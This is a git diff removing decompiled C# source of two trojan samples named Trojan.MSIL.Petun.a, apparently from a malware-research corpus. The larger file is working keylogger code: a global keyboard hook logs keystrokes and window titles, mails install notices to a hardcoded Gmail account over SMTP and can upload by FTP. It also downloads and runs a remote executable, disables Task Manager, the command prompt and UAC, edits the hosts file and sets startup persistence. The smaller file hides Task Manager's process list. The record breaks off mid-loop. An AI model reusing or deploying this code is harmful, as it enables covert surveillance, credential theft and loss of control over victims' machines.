b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/Trojan.MSIL.Petun.a.csproj deleted file mode 100644 index 96aa0c3c..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/Trojan.MSIL.Petun.a.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {4D3E6E7E-4BF2-4498-8F88-E850D9ED50EE} - WinExe - Pictures2 - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/Trojan.MSIL.Petun.a.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/Trojan.MSIL.Petun.a.sln deleted file mode 100644 index b2fccbe8..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/Trojan.MSIL.Petun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Pictures2", "Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a.csproj", "{4D3E6E7E-4BF2-4498-8F88-E850D9ED50EE}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {4D3E6E7E-4BF2-4498-8F88-E850D9ED50EE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {4D3E6E7E-4BF2-4498-8F88-E850D9ED50EE}.Debug|Any CPU.Build.0 = Debug|Any CPU - {4D3E6E7E-4BF2-4498-8F88-E850D9ED50EE}.Release|Any CPU.ActiveCfg = Release|Any CPU - {4D3E6E7E-4BF2-4498-8F88-E850D9ED50EE}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/esOQZj.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/esOQZj.cs deleted file mode 100644 index 8bdeffd9..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/esOQZj.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: esOQZj -// Assembly: Pictures2, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8394FEA6-6E58-409F-9038-F138D1DCBBC8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class esOQZj -{ - private const int LVM_FIRST = 4096; - private const int LVM_DELETECOLUMN = 4124; - private static Timer t = new Timer(); - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SendMessage(IntPtr Hwnd, int wMsg, int wParam, int lParam); - - [DllImport("user32.dll", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumChildWindows( - IntPtr hWndParent, - esOQZj.EnumDelegate lpEnumFunc, - int lParam); - - [DllImport("user32.dll", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long GetClassName(long hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, long nMaxCount); - - [DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); - - [DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int cch); - - [DllImport("user32", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(IntPtr hWnd); - - private static void t_Tick(object sender, EventArgs e) - { - string str1 = (string) null; - ref string local1 = ref str1; - string str2 = "Windows Task Manager"; - ref string local2 = ref str2; - IntPtr window = (IntPtr) esOQZj.FindWindow(ref local1, ref local2); - if (!(window != (IntPtr) 0)) - return; - esOQZj.EnumChildWindows(window, new esOQZj.EnumDelegate(esOQZj.EnumChildWindows), 0); - } - - public static bool Running - { - get => esOQZj.t.Enabled; - set - { - if (value) - { - if (esOQZj.t.Interval != 500) - { - Timer t = esOQZj.t; - esOQZj.t.Tick += new EventHandler(esOQZj.t_Tick); - t.Interval = 500; - t.Enabled = true; - t.Start(); - } - else - { - esOQZj.t.Enabled = true; - esOQZj.t.Start(); - } - } - else - { - esOQZj.t.Enabled = false; - esOQZj.t.Stop(); - } - } - } - - private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) - { - string str = esOQZj.GetClass(lngHwnd); - string titleText = esOQZj.GetTitleText(lngHwnd); - lngHwnd.ToString() + ", " + str + ", " + titleText; - return 1; - } - - private static string GetClass(IntPtr handle) - { - StringBuilder lpClassName = new StringBuilder(); - lpClassName.Length = (int) byte.MaxValue; - esOQZj.GetClassName(handle, lpClassName, lpClassName.Length); - if (Strings.InStr(lpClassName.ToString(), "SysListView32") != 0) - esOQZj.SendMessage(handle, 4124, (int) (IntPtr) 0, 0); - return lpClassName.ToString(); - } - - private static string GetTitleText(IntPtr handle) - { - StringBuilder lpString = new StringBuilder(); - lpString.Length = checked (esOQZj.GetWindowTextLength(handle) + 1); - esOQZj.GetWindowText(handle, lpString, lpString.Length); - return lpString.ToString(); - } - - private delegate int EnumDelegate(IntPtr lngHwnd, int lngLParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/hzwT.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/hzwT.cs deleted file mode 100644 index 7a889460..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a/hzwT.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: hzwT -// Assembly: Pictures2, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8394FEA6-6E58-409F-9038-F138D1DCBBC8 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-63a582a764e7130273bfed57bb78530315f179f2f09657ed8b5d596276c7247a.exe - -using System; -using System.Threading; - -internal class hzwT : IDisposable -{ - private readonly Mutex mMutex; - private bool _mMutexOwned; - - public hzwT(string name) - { - this.mMutex = new Mutex(false, name); - this._mMutexOwned = false; - } - - public bool IsRunning() - { - this._mMutexOwned = this.mMutex.WaitOne(0, true); - return !this._mMutexOwned; - } - - public void Dispose() - { - if (!this._mMutexOwned) - return; - this.mMutex.ReleaseMutex(); - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/Module1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/Module1.cs deleted file mode 100644 index 77d51a4b..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363/Module1.cs +++ /dev/null @@ -1,1282 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module1 -// Assembly: Multi, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BBCF6EA4-3682-4E32-B553-2ADB229A2BF3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-84e29609cc4534d4a145505ff05b3083429c8136dfd8f7df098cf6954e3fe363.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Module1 -{ - private static bool PRJixpaI = false; - private static bool TGsTpoRx = false; - private static bool nkIdCtqC = false; - private static bool vxeyEMCh = false; - private static bool XkjzEGxX = false; - private static bool BPLtIghI = false; - private static string UuGzSBYI = "7"; - private static string TczuYaHN = "AaD"; - private static int zHYyxOEHy = 1; - private static string PZIIuuWer = "JINx"; - public static string gdzjuzwIZ = "CurrentUser"; - private static string qKSInijhm = "qxcpoF"; - private static string cCeJtpdxo = "xJMbwxIRMp"; - private static string guctfjJxu = "iexplorer.exe"; - private static string SDDate = "+SDDate+"; - private static bool TakeScrns = true; - private static string[] Message = new string[3] - { - "Multi", - "OCX32 Hatası", - "48" - }; - private static string Delay = "+DelOff+"; - private static bool FRMsg = false; - private static bool NoEL = false; - private static bool SSTime = false; - private static string SSInt = "7"; - private static bool mBWYhrmPf = false; - private static string bMGNqEDTX = "http://www.exampleserver.com/directfile.exe"; - private static bool QUisNbOBb = false; - private static string ZTliFbzrn = "setup.exe"; - private static bool zCLidH = true; - private static bool qFPxwkk = false; - private static string xKxvpIF = "LHs1gVoZGRA="; - private static string RVYPoR = "ftp.exampleserver.com"; - private static string yUWfDk = "LHs1gVoZGRA="; - private static string gNIIHM = "/"; - private static string Msnnmr = "smtp.gmail.com"; - private static string gwmphG = "aMyC3wKDmAGZ60eSiTxrFsQgKWZb582r"; - private static string aRIVfP = "ncA0TbxrUIx1tYS35RZ5qA=="; - private static string lxatZ = "kodummupert@gmail.com"; - private static string NHZWs = "587"; - private static string OfgCE = "----["; - private static string LrxRZ = "]----"; - private static bool nseXe; - private static bool orjIl; - private static bool PGwKU = true; - private static bool EamBi = true; - private static bool ECvOL = true; - private static bool rDHVq = true; - private const int knqiIWP = 257; - private const short JerfRsP = 256; - private const int fqkDzWr = 260; - private const int TcBuYaH = 261; - private static IntPtr KeyboardHandle = (IntPtr) 0; - private static string LastCheckedForegroundTitle = ""; - private static Module1.KeyboardHookDelegate callback = (Module1.KeyboardHookDelegate) null; - private static string jzSmG; - - public static string GmHMUKpyy - { - get => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - set - { - } - } - - public static string qDDTWZ - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Favorites); - set - { - } - } - - public static string PSmPTh - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Personal); - set - { - } - } - - public static string bjvYrX - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System); - set - { - } - } - - public static string SkUqal - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("\\system32", ""); - set - { - } - } - - public static string LT - { - get => Environment.MachineName + " - " + DateTime.Now.ToString().Replace(" ", "-").Replace("/", "-").Replace(":", "."); - set - { - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Module1.xwZGXKOnO lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int XBfdLzUKB(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Module1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private static string RdGZFcu() - { - string str; - try - { - string lpString = new string(char.MinValue, 100); - Module1.GetWindowText(Module1.GetForegroundWindow(), ref lpString, 100); - str = lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - private static object SYUgwMT() - { - object obj; - try - { - obj = (object) (Module1.KeyboardHandle != (IntPtr) 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - public static void KfHMakF() - { - try - { - Module1.callback = new Module1.KeyboardHookDelegate(Module1.mePwyUw); - Module1.KeyboardHandle = (IntPtr) Module1.SetWindowsHookEx(13, Module1.callback, (int) Process.GetCurrentProcess().MainModule.BaseAddress, 0); - int num = Module1.KeyboardHandle != (IntPtr) 0 ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void godJFFDIt() - { - try - { - if (!Conversions.ToBoolean(Module1.SYUgwMT()) || Module1.XBfdLzUKB((int) Module1.KeyboardHandle) == 0) - return; - Module1.KeyboardHandle = (IntPtr) 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string qqpuRYf( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - int length = strStart.Length; - string str = string.Empty; - int num1 = strSource.IndexOf(strStart, startPos); - int num2 = strSource.IndexOf(strEnd, checked (num1 + length)); - if (num1 != -1 && num2 != -1) - str = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length)); - return str; - } - - public static int mePwyUw(int Code, int wParam, ref Module1.xwZGXKOnO lParam) - { - int num; - try - { - object obj = (object) Module1.RdGZFcu(); - if (Operators.ConditionalCompareObjectNotEqual(obj, (object) Module1.LastCheckedForegroundTitle, false)) - { - Module1.LastCheckedForegroundTitle = Conversions.ToString(obj); - Module1.jzSmG = Conversions.ToString(Operators.ConcatenateObject((object) Module1.jzSmG, Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("\r\n" + Module1.OfgCE), obj), (object) " - "), (object) DateAndTime.Now.ToString()), (object) Module1.LrxRZ), (object) "\r\n"))); - } - string Left = ""; - if (wParam == 256 | wParam == 260) - { - if (Code >= 0 && MyProject.Computer.Keyboard.CtrlKeyDown & MyProject.Computer.Keyboard.AltKeyDown & lParam.vkCode == 83) - { - num = 1; - goto label_130; - } - else - { - switch (lParam.vkCode) - { - case 8: - if (Module1.jzSmG.EndsWith(Module1.LrxRZ + "\r\n") | !Module1.EamBi | Module1.jzSmG.EndsWith("]")) - { - Left = "[BS]"; - break; - } - Module1.jzSmG = Module1.jzSmG.Remove(checked (Module1.jzSmG.ToString().Length - 1)); - Left = ""; - break; - case 9: - Left = "\t"; - break; - case 13: - Left = "\r\n"; - break; - case 20: - if (Module1.PGwKU) - { - Module1.orjIl = !MyProject.Computer.Keyboard.CapsLock; - break; - } - Left = !MyProject.Computer.Keyboard.CapsLock ? "[cl]" : "[/cl]"; - break; - case 27: - Left = " [esc] "; - break; - case 32: - Left = " "; - break; - case 37: - Left = "[<]"; - break; - case 38: - Left = "[^]"; - break; - case 39: - Left = "[>]"; - break; - case 40: - Left = "[V]"; - break; - case 46: - Left = " [dlt] "; - break; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - if (Module1.nseXe) - { - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "1", false) == 0) - { - Left = "!"; - break; - } - if (Operators.CompareString(Left, "2", false) == 0) - { - Left = "@"; - break; - } - if (Operators.CompareString(Left, "3", false) == 0) - { - Left = "#"; - break; - } - if (Operators.CompareString(Left, "4", false) == 0) - { - Left = "$"; - break; - } - if (Operators.CompareString(Left, "5", false) == 0) - { - Left = "%"; - break; - } - if (Operators.CompareString(Left, "6", false) == 0) - { - Left = "^"; - break; - } - if (Operators.CompareString(Left, "7", false) == 0) - { - Left = "&"; - break; - } - if (Operators.CompareString(Left, "8", false) == 0) - { - Left = "*"; - break; - } - if (Operators.CompareString(Left, "9", false) == 0) - { - Left = "("; - break; - } - if (Operators.CompareString(Left, "0", false) == 0) - { - Left = ")"; - break; - } - break; - } - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - break; - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - Left = !(Module1.nseXe | Module1.orjIl) ? Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))) : Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))).ToUpper(); - break; - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "a", false) == 0) - Left = Conversions.ToString(1); - if (Operators.CompareString(Left, "b", false) == 0) - Left = Conversions.ToString(2); - if (Operators.CompareString(Left, "c", false) == 0) - Left = Conversions.ToString(3); - if (Operators.CompareString(Left, "d", false) == 0) - Left = Conversions.ToString(4); - if (Operators.CompareString(Left, "e", false) == 0) - Left = Conversions.ToString(5); - if (Operators.CompareString(Left, "f", false) == 0) - Left = Conversions.ToString(6); - if (Operators.CompareString(Left, "g", false) == 0) - Left = Conversions.ToString(7); - if (Operators.CompareString(Left, "h", false) == 0) - Left = Conversions.ToString(8); - if (Operators.CompareString(Left, "i", false) == 0) - Left = Conversions.ToString(9); - if (Operators.CompareString(Left, "`", false) == 0) - { - Left = Conversions.ToString(0); - break; - } - break; - case 109: - case 189: - Left = !Module1.nseXe ? "-" : "_"; - break; - case 110: - case 190: - Left = Module1.nseXe ? ">" : "."; - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - case 123: - case 124: - case 125: - case 126: - case (int) sbyte.MaxValue: - case 128: - case 129: - case 130: - case 131: - case 132: - case 133: - case 134: - case 135: - Left = "[F" + Conversions.ToString(checked (lParam.vkCode - 111)) + "]"; - break; - case 160: - case 161: - if (!Module1.PGwKU) - { - Left = " [nseXe] "; - break; - } - Module1.nseXe = true; - break; - case 162: - case 163: - Left = " [ctrl] "; - break; - case 164: - Left = " [alt] "; - break; - case 165: - Left = " [ralt] "; - break; - default: - Left = Conversions.ToString(lParam.vkCode); - if (Module1.nseXe) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "~"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "{"; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "}"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "|"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "\""; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ":"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = "<"; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "?"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "+"; - } - else if (!Module1.nseXe) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "`"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "["; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "]"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "\\"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "'"; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ";"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = ","; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "="; - } - if (Operators.CompareString(Left, "107", false) == 0) - Left = "+"; - if (Operators.CompareString(Left, "107", false) == 0) - Left = "*"; - if (Operators.CompareString(Left, "111", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "44", false) == 0) - { - Left = " [SS] "; - break; - } - break; - } - } - } - else if (wParam == 257 | wParam == 261) - { - switch (lParam.vkCode) - { - case 160: - case 161: - if (!Module1.PGwKU) - Left = "[/nseXe]"; - Module1.nseXe = false; - break; - case 162: - case 163: - Left = "[/ctrl]"; - break; - case 164: - Left = "[/lalt]"; - break; - case 165: - Left = "[/ralt]"; - break; - } - } - Module1.jzSmG += Left; - if (Operators.CompareString(Left, "", false) == 0) - ; - num = Module1.CallNextHookEx((int) Module1.KeyboardHandle, Code, wParam, lParam); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num = Conversions.ToInteger(""); - ProjectData.ClearProjectError(); - } -label_130: - return num; - } - - [STAThread] - public static void Main() - { - if (!Module1.SDDate.Contains("SDDate+") && DateTime.Compare(DateAndTime.Today.Date, Conversions.ToDate(Module1.SDDate)) == 0) - Module1.xSlfVBKKJ(); - if (!Module1.Delay.Contains("DelOff+")) - Module1.avwGeLoEk(Conversions.ToInteger(Module1.Delay)); - string tczuYaHn = Module1.TczuYaHN; - Module1.TczuYaHN = Operators.CompareString(tczuYaHn, "AaD", false) != 0 ? (Operators.CompareString(tczuYaHn, "FaF", false) != 0 ? (Operators.CompareString(tczuYaHn, "MaD", false) != 0 ? (Operators.CompareString(tczuYaHn, "SaF", false) != 0 ? (Operators.CompareString(tczuYaHn, "WaF", false) != 0 ? Module1.TczuYaHN : Module1.SkUqal) : Module1.bjvYrX) : Module1.PSmPTh) : Module1.qDDTWZ) : Module1.GmHMUKpyy; - Module1.gwmphG = Module1.TripleDESDecode(Module1.gwmphG, "System.Net"); - Module1.aRIVfP = Module1.TripleDESDecode(Module1.aRIVfP, "System.Net"); - Module1.xKxvpIF = Module1.TripleDESDecode(Module1.xKxvpIF, "System.Net"); - Module1.yUWfDk = Module1.TripleDESDecode(Module1.yUWfDk, "System.Net"); - Module1.guctfjJxu = "\\" + Module1.guctfjJxu; - if (Operators.CompareString(Application.StartupPath, Module1.TczuYaHN, false) != 0) - { - if (!Module1.Message[0].Contains("MsgFalse+")) - { - MessageBoxIcon messageBoxIcon = new MessageBoxIcon(); - MessageBoxIcon integer = (MessageBoxIcon) Conversions.ToInteger(Module1.Message[2]); - int num = (int) MessageBox.Show(Module1.Message[1], Module1.Message[0], MessageBoxButtons.OK, integer); - } - if (System.IO.File.Exists(Module1.TczuYaHN + Module1.guctfjJxu)) - ProjectData.EndApp(); - if (Module1.FRMsg) - { - string str1; - if (Module1.zCLidH) - { - ref string local1 = ref Module1.Msnnmr; - ref string local2 = ref Module1.gwmphG; - ref string local3 = ref Module1.aRIVfP; - ref string local4 = ref Module1.lxatZ; - string str2 = "[First Run] Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str2; - str1 = "Hello, this is an email letting you know that your keylogger has been freshly installed on the computer in the title. Thank you."; - ref string local6 = ref str1; - int integer = Conversions.ToInteger(Module1.NHZWs); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.NHZWs = Conversions.ToString(integer); - } - if (Module1.qFPxwkk) - { - ref string local9 = ref Module1.RVYPoR; - ref string local10 = ref Module1.gNIIHM; - ref string local11 = ref Module1.xKxvpIF; - ref string local12 = ref Module1.yUWfDk; - str1 = "Hello, this is a message letting you know that you keylogger has been installed on " + Environment.MachineName + "."; - ref string local13 = ref str1; - Module1.UpFTP(ref local9, ref local10, ref local11, ref local12, ref local13); - } - } - if (Module1.mBWYhrmPf) - { - if (System.IO.File.Exists(Path.GetTempPath() + Module1.ZTliFbzrn)) - System.IO.File.Delete(Path.GetTempPath() + Module1.ZTliFbzrn); - MyProject.Computer.Network.DownloadFile(Module1.bMGNqEDTX, Path.GetTempPath() + Module1.ZTliFbzrn); - if (System.IO.File.Exists(Path.GetTempPath() + Module1.ZTliFbzrn)) - { - if (Module1.QUisNbOBb) - Process.Start(Path.GetTempPath() + Module1.ZTliFbzrn, Conversions.ToString(new ProcessStartInfo().WindowStyle == ProcessWindowStyle.Normal)); - else - Process.Start(Path.GetTempPath() + Module1.ZTliFbzrn); - } - } - if (Module1.PRJixpaI) - { - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", AppWinStyle.Hide); - } - if (Module1.zHYyxOEHy == 2) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ", "DisableTaskMgr", (object) "1"); - if (Module1.nkIdCtqC) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoRun", (object) "1"); - if (Module1.vxeyEMCh) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoViewContextMenu", (object) "1"); - if (Module1.XkjzEGxX) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - if (Module1.BPLtIghI) - Interaction.Shell("C:\\Windows\\System32\\XkjzEGxX.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - if (Module1.TGsTpoRx) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, Module1.TczuYaHN + Module1.guctfjJxu); - Process.Start(Module1.TczuYaHN + Module1.guctfjJxu); - if (Operators.CompareString(Module1.qKSInijhm, "Melt", false) == 0) - Module1.xSlfVBKKJ(); - else if (Operators.CompareString(Module1.qKSInijhm, "Hide", false) == 0) - new FileInfo(Application.ExecutablePath).Attributes = FileAttributes.Hidden; - ProjectData.EndApp(); - } - if (new ThDqzYT(Module1.cCeJtpdxo).IsRunning()) - Environment.Exit(0); - try - { - if (Operators.CompareString(Module1.gdzjuzwIZ, "CurrentUser", false) == 0 | Operators.CompareString(Module1.gdzjuzwIZ, "LocalMachine", false) == 0) - ROS.set_Runonstartup((string) null, ROS.StartupCheckCriteria.Either, true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) ex.Message); - ProjectData.ClearProjectError(); - } - if (Module1.PZIIuuWer.Length != 4) - { - string[] strArray = Strings.Split(Module1.PZIIuuWer, ","); - int index = 0; - while (index < strArray.Length) - { - string str = strArray[index]; - System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\hosts", "\r\n127.0.0.1 " + str); - checked { ++index; } - } - } - Module1.KfHMakF(); - switch (Module1.zHYyxOEHy) - { - case 3: - new Thread(new ThreadStart(Module1.oHEbwVbXj)).Start(); - break; - case 4: - TnSqIUJGz.Running = true; - break; - } - if (Module1.SSTime) - new Thread(new ThreadStart(Module1.TimedSS)).Start(); - while (true) - { - try - { - do - { - Module1.WaitEx(); - } - while (Operators.CompareString(Module1.jzSmG, "", false) == 0 & Module1.NoEL); - string str = ""; - if (Module1.ECvOL) 